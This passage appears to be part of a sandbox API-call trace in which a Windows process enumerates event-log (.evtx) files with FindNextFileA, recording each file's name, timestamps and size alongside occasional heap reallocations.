dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-Boot%4Operational.evtx", cAlternateFileName="MI32CE~1.EVT")) returned 1 [0117.425] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac04e8, Size=0xb8) returned 0x325f3b0 [0117.425] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", cAlternateFileName="MIA934~1.EVT")) returned 1 [0117.425] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5071f8b0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5071f8b0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", cAlternateFileName="MIB32D~1.EVT")) returned 1 [0117.425] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ebf6d7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc8ebf6d7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", cAlternateFileName="MICA77~1.EVT")) returned 1 [0117.426] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5090f75d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5090f75d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", cAlternateFileName="MI1E8D~1.EVT")) returned 1 [0117.426] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd75102f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd75102f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", cAlternateFileName="MID067~1.EVT")) returned 1 [0117.426] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", cAlternateFileName="MIDE4D~1.EVT")) returned 1 [0117.426] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", cAlternateFileName="MI36C5~1.EVT")) returned 1 [0117.426] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59547c37, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x59547c37, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Known Folders API Service.evtx", cAlternateFileName="MI86D6~1.EVT")) returned 1 [0117.426] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb7386e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbb7386e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-LiveId%4Operational.evtx", cAlternateFileName="MI4C58~1.EVT")) returned 1 [0117.426] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93d06f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93d06f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-MUI%4Admin.evtx", cAlternateFileName="MI30D3~1.EVT")) returned 1 [0117.427] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93aa49b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93aa49b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-MUI%4Operational.evtx", cAlternateFileName="MI6F01~1.EVT")) returned 1 [0117.427] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f3b0, Size=0xe8) returned 0x33d11a0 [0117.427] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d33b19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9d33b19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-NCSI%4Operational.evtx", cAlternateFileName="MI483C~1.EVT")) returned 1 [0117.427] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbcf0ff2, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbcf0ff2, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-NetworkProfile%4Operational.evtx", cAlternateFileName="MIFC66~1.EVT")) returned 1 [0117.427] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab3154, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ab3154, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Ntfs%4Operational.evtx", cAlternateFileName="MI6E98~1.EVT")) returned 1 [0117.427] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ad9393, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ad9393, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Ntfs%4WHC.evtx", cAlternateFileName="MIB2AC~1.EVT")) returned 1 [0117.427] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5fe5cb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5fe5cb, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", cAlternateFileName="MI6AFE~1.EVT")) returned 1 [0117.427] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24cdef0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe24cdef0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-ReadyBoost%4Operational.evtx", cAlternateFileName="MIB9D2~1.EVT")) returned 1 [0117.427] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd125335f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd125335f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", cAlternateFileName="MI7A67~1.EVT")) returned 1 [0117.427] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-SettingSync%4Debug.evtx", cAlternateFileName="MI3773~1.EVT")) returned 1 [0117.428] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-SettingSync%4Operational.evtx", cAlternateFileName="MI36AA~1.EVT")) returned 1 [0117.428] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", cAlternateFileName="MI2E2E~1.EVT")) returned 1 [0117.428] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Shell-Core%4Operational.evtx", cAlternateFileName="MI1C6C~1.EVT")) returned 1 [0117.428] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-SmbClient%4Connectivity.evtx", cAlternateFileName="MI00FB~1.EVT")) returned 1 [0117.428] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d11a0, Size=0x120) returned 0x2c37020 [0117.428] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97b042f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97b042f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBClient%4Operational.evtx", cAlternateFileName="MID8B0~1.EVT")) returned 1 [0117.428] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-SmbClient%4Security.evtx", cAlternateFileName="MI8CEE~1.EVT")) returned 1 [0117.428] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb1ea1c9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb1ea1c9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Audit.evtx", cAlternateFileName="MIE3AD~1.EVT")) returned 1 [0117.429] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19dd19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb19dd19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Connectivity.evtx", cAlternateFileName="MI8248~1.EVT")) returned 1 [0117.429] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb151873, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb151873, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Operational.evtx", cAlternateFileName="MI4B6B~1.EVT")) returned 1 [0117.429] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb177aca, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb177aca, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Security.evtx", cAlternateFileName="MI7709~1.EVT")) returned 1 [0117.429] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd751ea61, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd751ea61, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Store%4Operational.evtx", cAlternateFileName="MICEDD~1.EVT")) returned 1 [0117.429] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0763ff, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd0763ff, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", cAlternateFileName="MIE2F0~1.EVT")) returned 1 [0117.429] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5089d037, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5089d037, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", cAlternateFileName="MIAB1D~1.EVT")) returned 1 [0117.429] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x508c32a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x508c32a6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", cAlternateFileName="MI62D3~1.EVT")) returned 1 [0117.429] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc14341c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc14341c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", cAlternateFileName="MIEC03~1.EVT")) returned 1 [0117.429] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1b5b23, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1b5b23, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", cAlternateFileName="MI1F5D~1.EVT")) returned 1 [0117.430] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74ac348, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74ac348, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-TWinUI%4Operational.evtx", cAlternateFileName="MIA925~1.EVT")) returned 1 [0117.430] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50aff605, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50aff605, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-User Profile Service%4Operational.evtx", cAlternateFileName="MI4D4C~1.EVT")) returned 1 [0117.430] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37020, Size=0x160) returned 0x382d858 [0117.430] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50981e6e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50981e6e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-UserPnp%4ActionCenter.evtx", cAlternateFileName="MI5FF0~1.EVT")) returned 1 [0117.430] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5095bc04, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5095bc04, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", cAlternateFileName="MIBD88~1.EVT")) returned 1 [0117.430] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b97f64, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b97f64, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", cAlternateFileName="MICC17~1.EVT")) returned 1 [0117.430] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc986efe1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc986efe1, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Wcmsvc%4Operational.evtx", 